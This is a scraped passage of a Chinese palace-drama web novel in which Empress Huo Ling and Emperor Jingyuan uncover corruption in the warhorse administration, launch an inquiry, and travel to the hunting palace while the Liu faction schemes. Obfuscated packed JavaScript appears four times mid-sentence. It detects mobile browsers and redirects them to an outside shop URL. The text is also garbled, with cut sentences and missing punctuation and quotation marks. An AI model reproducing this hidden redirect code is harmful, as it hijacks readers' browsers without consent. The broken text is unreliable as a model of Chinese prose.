霍翎摇头:“战马是军事战略的重要物资,何泰敢以次充好,偷换军备物资,当然罪该万死。 “臣妾想不明白的是,何泰为什么要这么做,他从中获得的利润,值得他铤而走险吗? 景元帝思索了下,才道:“这个问题,就涉及到我朝的马政了。你若是感兴趣,朕与你好好说一说。 从春秋战国期间,骑兵这一兵种就出现了。铁骑飞扬,驰骋疆场,来去如风,转战千里,骑兵拥有着步兵所不具备的灵活。 历朝历代,都不会疏于培养骑兵和战马。 正如霍翎所言,战马是军事战略的重要物资,它不仅能用来装备骑兵,在大战起来时还可以驮运后勤粮草,提高后勤的补给能力。 可是,大燕自开国以来,就存在一个很尴尬的情况—— 自从前朝丢了燕云十六州后,大燕在北方一马平川,无天险可守。 为了防守北方的大穆,大燕只能人为制造一些阻碍,以 此来守卫京师。 想要解决这种尴尬的处境,最好的办法当然就是收复燕云十六州。 但想要收复燕云十六州,培养出一支能与大穆抗衡的骑兵是重中之重。 因为处境是相对的,当大燕在北方一马平川时,也就意味着,当大燕想要北上燕云时,同样是一马平川。 想要培养出一支能征善战的骑兵,首要的,当然就是拥有良马。 但这样一来,又出现了一件比较尴尬的事情。 因为没有了燕云十六州,大燕就没有了适合养马的肥沃草场。 养马非常耗费土地,硬要在中原圈出草场来养马,不仅会浪费大片肥沃的良田耕地,引发农牧争地的矛盾,精心培养出来的马,十匹里可能只有两三匹适合当战马。 投入如此巨大,收获却不能令人满意。这就是大燕马政一言难尽的地方。 为了解决这种窘迫处境,大燕只能向外谋求帮助。 羌戎是游牧民族,又占据了牧场肥沃的贺兰山,还主动向大燕俯首称臣,所以这些年里,大燕在燕西的榷场,用官茶来和羌戎换取马匹。 霍翎恍然。 “燕西榷场素来由何泰的心腹掌管,当我朝用官茶从羌戎那里换来好马以后,何泰就将一部分好马换成次马,再将次马投进军队里。” “因为那部分好马从头到尾都没进入军中,而是直接从榷场流到了外界,才没人察觉到何泰在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063694|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面上下其手。” 景元帝道:“你自幼生活在燕西,那里不说好马遍地不是,但只要有心去寻,总能寻到几匹良驹。” “但是出了燕西,大燕各地都很难见到良驹。” 霍翎琢磨了下,发现确实如此。 她被自己过往的认知束缚住了,光想着燕西那边的情况,却没有放眼关注整个大燕的马政。 “陛下,一匹汗血宝马,在京师能卖出多少银两?” 景元帝笑问:“这是在考朕吗?” 笑过之后,景元帝还是答道:“汗血宝马有价无市,但若真的在市面上流通,绝不低于一万两。” “遇到勋贵哄抬价格,卖出个大几万两都有可能。” 霍翎道:“我在燕西骑的那匹马,花了我足足四百两银子。若是在京师,应该能卖 出一千两。” 也难怪何泰铤而走险了。 供给军队的战马,只会比她骑的那匹马还要好。 日积月累之下,其中利润十分惊人。 景元帝握着霍翎的手,遗憾道:“依靠着茶马互市,在三十年前,大燕总算培养出了两支能用的骑兵。” “一支驻守在燕西,一支驻守在燕北。这也是先帝敢在朝中推动北伐的原因。” 知道朝中有两支能用的骑兵,霍翎原本还很高兴,但听到景元帝后一句话,她心下一沉,已经猜到了那两支骑兵的结局。 果然,景元帝后面的话语证实了霍翎的猜想。 北伐兵败,耗费无数国力才培养出来的骑兵,也因那一战倾覆。 “一场战争的失利,引发的后果是方方面面的。” 景元帝叹息一声:“一方面,燕北那边,大燕必须投入更多的精力和兵力去防备大穆。” “另一方面,没有骑兵威震燕西,所以羌戎前任首领李向笛上位后,一直蠢蠢欲动。” “他不愿再像前几任羌戎首领那样,乖乖和大燕交易战马,总是要玩些猫腻。” 朝中对李向笛早有不满,但燕北那边牵扯了太多国力,一直腾不出手来收拾李向笛。 也就是这些年休养生息,国力恢复,燕西也重新培养出了能用的骑兵,才能在不损耗太多国力的情况下,深入七百里瀚海沙漠,直攻羌戎王帐,生擒住李向笛。 说到这儿,景元帝才重新振奋起来。 “燕西平叛之后,大燕从羌戎各部落那里收缴来了上万匹战马,还要求他们每年都要与大燕交易一定数目的战马。” “有了这些战马,总算可以缓解我朝对马匹的需求了。” 这也算是平定羌戎叛乱最大的收获。 与霍翎说完马政之事,景元帝又在凤仪宫用了午膳,小憩过后,这才去御书房处理上午没批复的折子。 霍翎闲着无事,干脆去了书房,将景元帝和她说的那些情况,一一记录在纸上。 放下毛笔,霍翎拿起纸张,从头到尾又看了一遍,突然生出一个疑问—— 何泰用次马换出良马后,他是如何处理这些良马的? 这些良马在燕西卖不出高价,想要卖出高价,必须将良马运出燕西。 难道他是自己组建了一个商队,让商队来帮他处理良马? 但自己组建的话,闹出的动静未免太大。 如果不是自己组建,那就是寻找一个可靠的商队来合作。 想到这儿,霍翎心念一动。 莫非,何泰合作的对象,是柳国公府? 如果是这样的话,很多事情都可以说得通了。 何泰手里极可能有一份记录了详细交易内容的账本,他当初就是靠着账本威胁了端王,让端王改变了心意。 看来有必要让燕西那边的人,顺着这条线往下查一查,也许还能查出一些意外之喜。 作者有话要说 ps:第十七章,何泰威胁端王时说:“柳国公府拥有大燕最大的马场生意。大燕本土没有好马,他们的马多是从羌戎商人手里收购的。还有其它一些上不得台面的生意,都是我在暗地里为他们遮掩。” 第 60 章 “这江山,是皇帝... 如果何泰与柳国公府有合作,那他们之间的合作一定很隐蔽。 尤其是现在何泰以劣马换良马一事东窗事发了,柳国公府的人只要不蠢,都会想办法将自己的尾巴打扫干净,防止有人沿着这条线查到他们头上。 如果柳国公府真的这么做了,调查结果估计不会太乐观。 霍翎没有因此就放弃追查,却也不打算将所有的希望都放在追查上。 她重新拿起何泰那沓罪证,思索着里面有没有什么可以利用的地方。 看着看着,霍翎的视线还是落回了“用劣马替换军中良马”这项罪名上。 “马政”这个词,霍翎以前偶尔听说过,但直到今天景元帝说起,她才对“马政”有了清晰的认知。 国之大事在祀与戎,戎之事中马政为重。 很多时候,马政的好坏,甚至可以和军队实力直接挂钩。 所以马政治理从来都是军政治理中的重要一项。 如今大燕官府想要获得马匹,方法无非三种:进贡,采买和官营牧厂。 让那些依附于大燕的小国进贡马匹;从小国手里采买马匹;大燕本身也设立了多个监牧区来养马。 即使知道大燕的环境不适合养马,但从太 祖皇帝到景元帝,都必须咬着牙硬撑,往里面投入大量的人力财力。 因为大燕本土养出来的马再不好,也好过大燕无马可用。一味依赖小国进贡和采买,遇到如羌戎叛乱这种事情时,就会被敌人掐住命脉。 如此一来,马政涉及到的钱财数额就十分巨大了。 何泰和柳国公府的人,出身都是一等一的,但连他们都眼红马匹的利润,朝战马下手,其他官员真的不会动心吗? 如何泰这样的人,只是个例吗? 霍翎从来不是一个多么看重钱财的人,只要能吃饱穿暖,再多的银子,都只是她达成目的的一种手段。 如今她成了皇后,只要朝廷安定,江山稳固,日子都会越过越好,所以她是盼着朝廷欣欣向荣的。 但对于那些贪得无厌的官员来说,朝廷有不如他们自己有,能肥了自己的口袋,损了朝廷的利益又何妨?江山又不是他们家的。 一想到这儿,霍翎就有些坐不住了。 她起身在殿内 转悠思考着该怎么把这些蛀虫揪出来。 ——整顿马政贪污。 这六个字 可行吗? 霍翎问自己。 是可行的。 因为现在这个特殊时机。 何泰一案将马政的贪污问题摊开在了明面上朝臣又刚刚被她和景元帝的手段震慑住。 完全可以借着何泰一案作为由头趁着朝臣们还算安分将负责马政的官员从上到下彻查一遍能用的就继续留用不能用的就处理掉。 罪责轻的抄没赃款填充国库;罪责重的先抄没家产再送他们去和何泰团聚。 而且最重要的是—— 只要景元帝采纳了她的这个意见她就能进一步接触朝政对朝政发表自己的看法和建议了。 等晚上景元帝再过来时霍翎和他一起用了晚膳在院中散步时又重新聊到了马政之事。 她没有将自己的猜想告诉景元帝毕竟没有切实的证据只靠猜想很难取信景元帝。 所以霍翎只提起何泰:“何泰被揪了出来他所贪墨的银子也都重新收归国库这算是不幸中的万幸。但是没被揪出来的官员又有多少呢。” “这朝中官员当然大都是忠君爱民的却也不可能个个都贤能廉洁。马政关乎军政我朝想要长治久安马政就一定要治理好。一个何泰不可怕但要是有两个、三个再严重一些一条线上的官员都沆瀣一气呢?” “陛下走了以后臣妾越往下细想就越是揪心。” 景元帝叹了口气握住霍翎的手掌:“我朝马政废弛除了缺少合适的养马地外官员的贪污问题确实也不容忽视。” 霍翎敏锐道:“陛下是不是也早有整顿马政的想法了?” 景元帝点头承认:“不错。只是先前一直寻不到好的时机又因为其它事情耽搁了。” 霍翎眸光一亮:“那现在就是最好的时机。陛下我们好好彻查一下马政的贪污问题吧。” 景元帝眉梢微挑没想到她会给出这样的建议。 霍翎继续道:“这江山是皇帝的责任自然也是皇后的责任。既然知道有人在糟蹋我们家的东西我们又怎么能什 么都不做,眼睁睁看着他们糟蹋呢。 景元帝被她说得一笑:“这话糙了点。 霍翎反驳:“这叫话糙理不糙。 景元帝也不得不承认这是一个极好的想法:“整治贪污这个主意好,阿翎还有其它主意吗。 霍翎摊手:“没了。 “臣妾只负责出主意。采不采纳,就是陛下的事情了。如何落实,如何执行,就更与臣妾无关了,那是臣子们才需要考虑的事情。 景元帝也不再追问了,夸道:“单是能想出这个主意,就很不一般了。 霍翎听出他的弦外之音:“那陛下是准了? 景元帝颔首:“准了。明日朕就召吏部尚书和刑部尚书进宫,让他们议一议此事。你若感兴趣…… 说到这里,景元帝话音一顿,吊足了霍翎的胃口,才在她耳边说了几句话。 御书房里,吏部尚书文盛安和刑部尚书崔明在收到天子传召后,纷纷放下手头事务进宫。 刑部尚书崔明出身清河崔氏,按辈分算是崔原的伯父。他也是清河崔氏一族在京师官职最高的人。 待两人行过礼,景元帝赐座,合上手里的折子,开门见山:“昨日朕与皇后说起了马政一事。皇后问朕,何泰身份尊贵,都能为了利润铤而走险,将良马换做劣马,那其他官员又是否会效仿。两位爱卿以为呢。 进宫的这一路上,文盛安和崔明都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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枯坐了一个多时辰霍翎依旧神采奕奕:“虽说那几条政令都是陛下、文尚书和崔尚书一起商量制定出来的但主意是臣妾出的若能功成臣妾也与有荣焉。” “而且听了文尚书的一席话臣妾才知道自己先前把事情想得太简单了。文尚书给臣妾上了很好的一堂课。” 景元帝议了一上午的事原本有些累了但看霍翎这么精神也不免被感染了几分温声道:“文盛安在吏部待了多年对吏治的弯弯绕绕了然于心不必与他比你有你的长处。” 霍翎笑道:“他们的见识和阅历都远超臣妾臣妾没想过要与他们比也不会因此就妄自菲薄。” “只是方才听崔尚书说话时臣妾不免在想这朝中人才济济难道只有臣妾一个人想到了这个主意吗?” 景元帝神情微沉。 半晌他抚了抚霍翎的头发语气依旧平静。 “你说得不错。你若还有兴趣朕让翰林院那边将历朝历代的马政都整理出来你闲暇时多看看说不定看完以后还能再给朕出个新的主意。” 作者有话要说 第 61 章 那是被权力浸润过... 霍翎不会小觑朝臣。 她只是从景元帝的叙述,就看出朝中马政积弊已久,意识到现在是对马政下手的最佳时机。 朝中那么多人,真的没有一个人意识到这一点吗? 她不信。 景元帝也不会信。 不过是马政背后牵扯到的利益太广了,想到这一点的人选择了明哲保身、闭口不谈。甚至有可能连他们自己都从里面分了一杯羹。 整顿马政贪污,简简单单的六个字,背后涉及到的,却是方方面面的博弈。 对于这些博弈,不熟悉朝中情况的霍翎也帮不上忙,她只是一边默默关注着此事,一边抽出空闲时间了解历朝历代的马政制度。 景元帝最近明显变忙了许多。 以前他偶尔还能在下午过来凤仪宫,让霍翎陪他下两局棋,现在只有傍晚才能看到人。 不过每次用完晚膳,在院中散步时,景元帝都会与霍翎说一说各地马政的情况。 他借着何泰一案,在大朝会上大发雷霆,趁机提出要整顿马政,朝中无人反对,但当这条政令下达到地方后,明里暗里受到了不小阻碍。 霍翎冷笑:“他们这是在玩一出阳奉阴违。 景元帝笑了一下,为她的直言不讳。 如今敢在他耳边直接斥责朝臣,揭露朝臣私心的,也就只有她了。 即使是亲妹妹宁信,顾及着夫家子女的立场,也不可能事事与他和盘道出。 “朕早料到此事不会如此顺利。 霍翎道:“那想来陛下也安排了后招。 景元帝道:“朕在明面上派出了吏部和刑部的人下到地方,暗地里还从都察院抽调了一些人。这样一明一暗分两路行事,应该能有不少收获。 霍翎突然问了一个问题:“都察院派出去的那些人,可信吗? 景元帝一怔,转念一想,倒也明白了霍翎的担忧。 “朕派出去的,大都是些出身普通,身后没有太多干系的年轻官员。这样一来,就无需担心这些年轻官员会与地方官员沆瀣一气。 “当然,如果这些年轻官员受不了诱惑,选择与地方官员同流合污,这也是无法完全避免的。 霍翎道:“这就是六部中,吏部排在 首位的原因吧。” 景元帝颔首:“不错。马政的好坏关乎军事的强弱,吏治的好坏,影响的是国朝的兴衰。” “也正好借着此事,来考察这些年轻臣子的才能和品行。若能寻到几个得用的,等他们立功回京后,就可以着手提拔了。” 看着景元帝略显倦怠的神色,霍翎也不再与他谈论朝堂上的烦心事,转而道:“臣妾这些天一直在看翰林院送来的资料,颇有所得。” 景元帝问她读到哪里了。 霍翎道:“已经快看完了。” 景元帝诧异:“这么快?” 霍翎就顺便与景元帝聊了下后宫的情况。 自她入宫至今已有半年之久。 这半年时间,足够霍翎将宫中人事都掌控在手中。 平日里各宫事务有左嬷嬷她们帮衬着,只要不遇到什么宴会庆典,霍翎每日只需要抽出一个时辰,就能处理好后宫之事。 两位公主忙着上课,日常生活又有自己的生母照看着,霍翎这个皇后也不需要花太多心思在她们身上。 她有很多空闲时间可以花在自己喜欢的事情上。 景元帝问:“喜欢?不嫌枯燥?” 霍翎倒也没掩饰:“再喜欢的事情,做久了也会枯燥。所以臣妾每天只看两个时辰,其它时间就练练字、翻翻棋谱,若是想透气,就去马场跑几圈马。” 景元帝:“这般自在,听着就叫朕羡慕。” 霍翎含笑望着景元帝:“陛下是在夸自己吗?” 景元帝不明所以:“怎么说?” 霍翎:“陛下在行宫时,每日上午批复奏折、面见朝臣,下午看书练字,从您的身上,瞧不出一点儿急切与烦躁。臣妾顶多只有您三分火候。” 景元帝回忆了一下,那时应该是她惊了马,不得不躺在床上静养,他每日都去长信宫陪她,直到她睡下才离开。 “回到这宫里,再想那么悠闲,就难了。” “说起来,你生辰就快要到了,先前朕答应过你,今年要再陪你去一趟行宫,也该让礼部那边筹备起来了。” 霍翎有些诧异:“陛下确实答应过我,但如今朝中诸事繁杂,您在这个关头离京,是不是不太好?” 景元帝笑着摇头:“朕已 经将人手都派出去了。马政一事千头万绪,地方上的调查更是需要时间,半年之内能出一个结果就算是快的了。朕总不能将所有心思都扑在这上面。 “而且—— “朕去了行宫,朝中大臣们也得去行宫。 霍翎琢磨了好一会儿,终于明白了景元帝的意思。 地方官场与朝堂从来密不可分,许多地方官员的靠山都在京师。 景元帝借着行宫一行,正好能将朝廷大大小小的官员都带离京师。如此一来,地方官员再想联系上他们的靠山,就有得折腾了。 这中间多耗费出来的时间,说不定能为查案的人争取来一些转机。 想通这点后,霍翎笑道::“这回去行宫,除了必要的留守官员外,其他人可都得跟着一起去。 “尤其是朝中三品以上的重臣们,最好一个都不要漏掉。 *** 景元帝的生辰与霍翎的生辰只隔了不到一个月,两人商量过后,打算都在行宫过生辰,这样也可以在行宫多待一段时间。 这一回留守京师的官员,景元帝没有再从宗室选,而是直接定下了吏部尚书文盛安、刑部尚书崔明和都察院左都御史。 旁人不清楚景元帝的打算,所以也没细想景元帝挑选这三人的用意,霍翎却在看到这份留守名单时,暗叫了声好。 吏部、刑部、都察院,这三个部门或明或暗,正在彻查马政一事。 景元帝将这三个部门的最高长官留下来,明显是要三人继续盯着各地马政的情况。一旦地方有异动,他们可以第一时间做出应对。 看完留守名单,霍翎又看了看随驾名单。 不出意外地看到了端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063696|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王和端王妃的名字。 去年端王要留守京师,端王妃要留下来照看二儿子季渊康;今年端王无需留守京师,季渊康也满了三岁,可以跟着一起去行宫,端王妃自然也没有了留京的理由。 往下又扫了几眼,霍翎诧异:“这回肃亲王居然也去? 景元帝点头:“肃亲王府不知从哪儿新找了个大夫,这两个月皇叔的身体大有起色,主动跟朕说想去行宫透透气。 除了肃亲王,柳国公这回也随驾了。 他早年在战场上留下腿疾,不影响日 常走动,但骑马一类的运动是做不得了,所以去年景元帝恩准了他留在京师,今年却是直接派了太医院院正过去给柳国公诊治。 柳国公一看太医都来了府里,立刻明白景元帝的心意,也没有不识趣地上折子推脱。 等诸事准备妥当,也到了出行的日子。 许时渡的骑术比去年精进了不少,大军才刚出城,许时渡就骑马来到了凤辇旁边,笑着与霍翎打招呼。 霍翎坐在凤辇里,与许时渡随意闲聊着,问许时渡最近都在做些什么:“这两个月怎么没见你进宫。” 许时渡俏丽的脸上满是忧愁之色:“还不是因为我娘要给我说亲了,她原就喜欢举办宴会,这两个月举办得愈发频繁,我得留在府里帮忙,根本抽不出时间进宫。” 霍翎顿时来了兴趣:“宁信看中了哪家儿郎?” 许时渡郁闷:“她挑来挑去把眼睛都挑花了,总算挑中了一个,还来问我满不满意。我一看名字,唉,那人我也认识,人品家世才学都是极好的,就是相貌稍欠缺了一些。” “我把我的想法告诉她,还被她狠狠训斥了一顿。但我能怎么办,看不上就是看不上,我也不能勉强自己啊。” 霍翎忍俊不禁,这实在是许时渡会说出来的话:“那就再看看,也不用太着急。” 许时渡露出知音恨晚的神色:“我也是这么和我娘说的。她自己当初挑驸马的时候也不急啊,怎么到了给我挑夫婿的时候,就总是催来催去的。” 两人随意聊了会儿天,许时渡就骑马回到了自家马车。 宁信长公主问:“从皇后娘娘那里回来了?” 许时渡点了点头,又小声对她娘感慨道:“去年去行宫时,娘娘还和我一起骑马来着。” 宁信长公主也深以为然,她们所有人的境遇都没有变,只有皇后娘娘的境遇,在这一年多时间里天翻地覆。 “不过娘娘比去年更好看了。”许时渡用双手捧着自己的脸,语气幸福。 想到方才的惊鸿一瞥,宁信长公主中肯道:“相貌没怎么变,气质变了许多。” 那是被权力浸润过后才会拥有的气质。威严,尊贵,凛然不可侵犯。 她这位皇嫂,已经很好地进入了皇后的角色。 如宁信长公主这般想法的人不在少数,他们去年都在随驾队伍里见过霍翎,一年时间还不足以让记忆模糊掉,所以今年再见到她时,都能明显感受到其中的差异。 作者有话要说 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 62 章 “那就继续为朕猎... 对于霍翎来说,这趟皇家猎场之行,更像是在故地重游。 只不过她的心情已经截然不同。 那些曾经因她的美貌而汇聚的目光,如今再汇聚过来时,都添了几分慎重敬畏。 待队伍安营扎寨,各家儿郎女郎呼朋引伴,互相招呼着去远处狩猎。 霍翎走下凤辇,原是想直接去寻景元帝,却听到了从不远处传来的孩童清脆笑声。 霍翎循声看去,只见几个衣着富贵的孩童正围在一起打闹。 肃亲王家的季三郎也在里面。 霍翎对一旁的无墨道:“去年过来行宫时,都没注意到有这么多孩子。” 无墨打趣:“娘娘那会儿只顾着陛下,哪里还能注意到其它地方。” 身后有人轻笑了一声,霍翎和无墨一起回头。 来人正是景元帝,无墨连忙低头行礼:“请陛下恕罪,是奴婢失言了。” 霍翎赶在景元帝前面开口:“行了。你不过是说了实话,陛下还能责罚你不成。” 景元帝无奈一笑,顺着霍翎的话道:“皇后与你情同姐妹,你们二人间打个趣,朕有何可怪罪的。退下吧。” 等无墨退到一旁,霍翎挽着景元帝的手问:“陛下怎么过来了?” 景元帝道:“朕一直没等到你,就过来瞧瞧。” 霍翎再次转向那几个孩子:“臣妾在看他们玩闹。陛下认得他们是哪家的孩子吗。” 景元帝看了几眼,不确定道:“好像都是宗室的孩子。” 霍翎道:“难怪瞧着都有几分面善。” 感慨完这一句,霍翎就将话题岔开了,转而与景元帝说起骑马之事。 相比起坐在凤辇里赶路,霍翎还是更喜欢骑马赶路。所以她打算明天带着两位公主骑马。 景元帝眉梢微扬:“为何是带着两位公主骑马?” 霍翎道:“两位公主跟着师傅学了一年,骑术都有精进,而且她们年纪小,正是闷不住的时候,怕是也很想出来透透气。” 景元帝“嗯”了一声,欲言又止。 李满在旁边看得着急,都想出声提醒一下皇后娘娘了。这……娘娘哎,您没看出来陛下也想和您一起骑马吗。 霍翎一开始是真没往这方面想。 去年赶路时景元帝一直坐在御辇里从来没下过御辇骑马但李满接连给她使了好几个眼色霍翎细细打量了下景元帝的神情 景元帝问:“真想让朕陪着?” 霍翎别开脸无声笑了下才应道:“非常想。” 景元帝只是不擅长骑射他少年时也曾苦练过一段时间单论骑术还是不错的。 景元帝假装没看见霍翎的表情:“那好吧朕陪你一起。” 霍翎实在没忍住笑出声来等进了帐篷小声对景元帝道:“陛下下回想要骑马直说就是怎么还闹起了别扭。” 景元帝咳了咳:“朕不是闹别扭只是奇怪你怎么越过了朕要去找两位公主。” 霍翎为自己叫屈:“您去年就没下过御辇。” 景元帝笑了一下也没强调去年和今年的情况并不相同只道:“那你以后先问问朕。” 两人说话间李满在外面禀报:“陛下大公子过来给您请安。” 景元帝提高声音:“让渊晚进来吧。” 帐篷帘子被人掀开季渊晚从外面走了进来。 八岁孩子的脸上还带着未褪去的婴儿肥透出几分符合年龄的稚嫩但一板一眼的礼节又让他比同龄孩子要显得成熟。 给景元帝行完礼季渊晚又连忙给霍翎行了一礼。 景元帝问:“怎么过来了。” 季渊晚的神情里带着几分濡慕声音也透着亲近:“庄嬷嬷教侄儿烤了一只兔子侄儿想送给皇伯父尝尝。” 景元帝道:“既是你这孩子的一片孝心那朕要好好尝尝。你坐了一天的马车定也累了快回去休息吧。” 季渊晚应了声是乖乖退了出去让庄嬷嬷将手里的食盒递给李满带着庄嬷嬷离开。 外面人多眼杂庄嬷嬷不方便问等回到了帐篷里庄嬷嬷连忙追问:“陛下怎么没留大公子用膳?” 以往在宫里季渊晚在饭点前送东西过去给景元帝景元帝都会顺便留他用一顿饭再考教一下他的学问。 季渊晚抿了下唇小声道:“皇后娘 娘在陛下身边。” 庄嬷嬷还有什么不明白的心下恼恨偏偏又没有办法。 自从皇后进宫大公子的处境就显得尴尬起来了。 “嬷嬷我今天看到母妃和弟弟了。” 季渊晚声音压得更轻。 他对于皇权和储君之位的认知还有些懵懂但在父母长辈还有庄嬷嬷的反复叮嘱下已经明白了什么该做什么不该做。 他不能像弟弟那样总是陪在父王和母妃的身边即使很想母妃和弟弟也没有再像以前那样任性。 “今天烤的兔子送给了皇伯父我们明天再烤一只野鸡送给母妃和弟弟吧。” 庄嬷嬷强忍酸涩连连点头应好。 就在这时季渊晚身边的另一个丫鬟提着食盒悄悄走了进来:“大公子 季渊晚脸上露出大大的笑容掀开食盒一看小声惊呼:“是我最喜欢的什锦鸡丝粥。” 看季渊晚埋头吃得高兴庄嬷嬷让丫鬟留在这里守着季渊晚她寻了个机会去了端王妃的帐篷给端王妃请安。 端王妃正在喂二儿子季渊康吃鸡丝粥。 三四岁的孩子正是调皮捣蛋的年纪一碗粥吃了半天都没吃完等闹得端王妃受不了了才装出一副乖巧的模样吃了几口粥然后又继续闹腾。 庄嬷嬷过来的时候碗里的粥还剩下一小半。 端王妃将碗塞给婢女让婢女继续喂季渊康又让其他人去帐篷外面守着她拉着庄嬷嬷一个劲打听季渊晚在宫里的情况。 庄嬷嬷能被端王妃派到季渊晚身边当然是心腹中的心腹所以也没藏着话。 “皇后娘娘进宫以后原本天天围在大公子身边的人都疏远了不少。” “大公主还是和以前一样倒是二公主和大公子因为江祭酒的事情吵了一架然后就亲近起了皇后那边。” 连带着今天发生的事情庄嬷嬷也一起告诉了端王妃。 端王妃用帕子擦了擦眼睛强忍着要去看季渊晚的冲动:“我知道了你快回去吧渊晚那孩子身边离不得你。” 庄嬷嬷行礼就要退下但刚走两步庄嬷嬷又想到一事:“二公主身边有个伴读是肃亲王家的二娘 子。” “所有伴读里就属季二娘子与二公主关系最好二公主每次去给皇后娘娘请安时也不带其他几个伴读只带着季二娘子一起去。” 肃亲王府的孩子? 端王妃心下一跳也意识到了不对:“那季家三郎经常进宫吗?” 庄嬷嬷摇头:“奴婢找人打听过 等庄嬷嬷离开以后端王妃在帐篷里来回转了几圈实在静不下心干脆去了趟柳国公的帐篷。 柳国公正在和柳国公世子讨论马政的事情。 朝中针对马政的动作让柳国公世子心中惊疑不定——柳国公府里与何泰进行合作的人正是柳国公世子。 这件事情柳国公世子原本是瞒着柳国公的直到何泰那边向端王摊了牌眼看着事情已经瞒不住了柳国公世子才向柳国公坦白了一切。 柳国公被这个短视的儿子气得不轻但做都做了难道真能眼睁睁看着他出事吗? 所以柳国公亲自出手为柳国公世子扫了尾尽可能不让何泰一案牵扯到柳国公世子身上。 有柳国公出手帮忙遮掩柳国公世子原本是很安心的但景元帝的一连串动作又让柳国公世子再次坐不住了。 柳国公也是老谋深算之辈一看长子如此坐立难安心中隐隐生出不详的预感。 “你老实告诉我除了何泰那里你是不是还有别的牵扯?” 柳国公世子支支吾吾半天终于还是坦白了。 他本人是没有牵扯进去的但是有底下人投靠了他每年给了他不少孝敬。 如今朝中派了人下到地方彻查马政贪污之事那个投靠他的官员就在被调查之列…… 柳国公重重闭上了眼睛再睁开眼睛时直接拿起手边的拐杖狠狠锤了柳国公世子几下。 柳国公世子吃痛却不敢闪避生生受了这几下。 好在这个时候外面的人禀告说端王妃过来请安。 在家中小辈面前柳国公还是给柳国公世子留了些面子恨声道:“迟些再收拾你。”提高声音让端王妃进来。 端王妃进来后明显感觉到祖父和父亲之间的气氛不对但她已经顾不上这些将庄嬷嬷说的话一五一十复述出来。 柳国公叹了口气脸上倒是没什么意外神色。 端王妃道:“祖父您早就想到这一点了?” 柳国公按了按自己涨疼的眉心:“霍皇后需要一个孩子。” “如果她不能生宗室里有的是人想把孩子送给她养。肃亲王府是第一个出手的但肯定不会是最后一个。现在这才哪到哪啊你就如此沉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164068|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住气了。” 端王妃怎么可能沉得住气:“她需要一个孩子那我的渊晚该怎么办?” 柳国公沉声道:“你要记住霍皇后看中的孩子不一定就能成为大燕未来的储君。渊晚已经被养在宫里快两年了只要他自己没犯错谁也不能轻易越过他去。” 端王妃死死咬着唇强忍着喉头的哽咽:“难道我们就这么眼睁睁看着她猖狂下去吗?” 柳国公苦笑一步错步步错不能从源头掐断霍皇后的势头如今霍皇后已经彻底成势再想出手对付她哪里是那么容易的。 说不定霍皇后那边巴不得他们出手呢。 “再看看吧。” 眼下正是多事之秋马政那边还不知道会闹出什么幺蛾子柳国公实在不想节外生枝。 *** 接下来几天的赶路都很顺利霍翎下去骑马时景元帝也会跟着她一起倒是让宁信长公主瞧了一通稀罕。 “这有什么?”许时渡不能理解她娘的感慨。 宁信长公主说:“去年你皇帝舅舅有下来骑过马吗?” 许时渡趴在窗边望着不远处正在交谈的帝后:“去年也没有人陪着皇帝舅舅一起啊。” 骑马这种事情一个人干巴巴骑着因为要跟着大部队还不能放开了骑实在没意思透了。 宁信长公主一怔瞬间也就明白了她家皇兄的心情。 “行了你也别垂头丧气的。”宁信长公主拍了拍女儿的头“我陪你下去骑马。” “真的?!” 许时渡立刻打起精神。 也不知是不是看到帝后都在骑马这一趟骑马赶路的人明显变多了不少就连体弱的肃亲王都跟着凑了一回热闹。 在这炎炎六月只有肃亲王的身上还披着一件外衣在人群中十分醒目霍翎一眼就注意到了他。 景元帝顺着霍翎的视线看过去,为她介绍道:“那就是肃亲王,你应该还没见过吧。 霍翎点头:“臣妾只见过肃亲王府的其他人。 肃亲王似乎是注意到了这里的动静,连忙驱马上前给帝后二人请安。 “皇叔不必如此多礼。霍翎声音温和,“您身体还未彻底痊愈,可别骑太久的马。 肃亲王笑着谢过霍翎的关心,又道:“老臣看到陛下和娘娘感情如此好,心里高兴,这才跟着下来凑了回热闹,如今也该回去休息了。 目送着肃亲王骑马回到马车上,霍翎对景元帝道:“皇叔性子很好。 景元帝点头应是,在几位叔叔里,他与这位皇叔的关系是最好的。 “皇叔的才干亦是不俗,可惜身子不好,只能待在宗人府里。 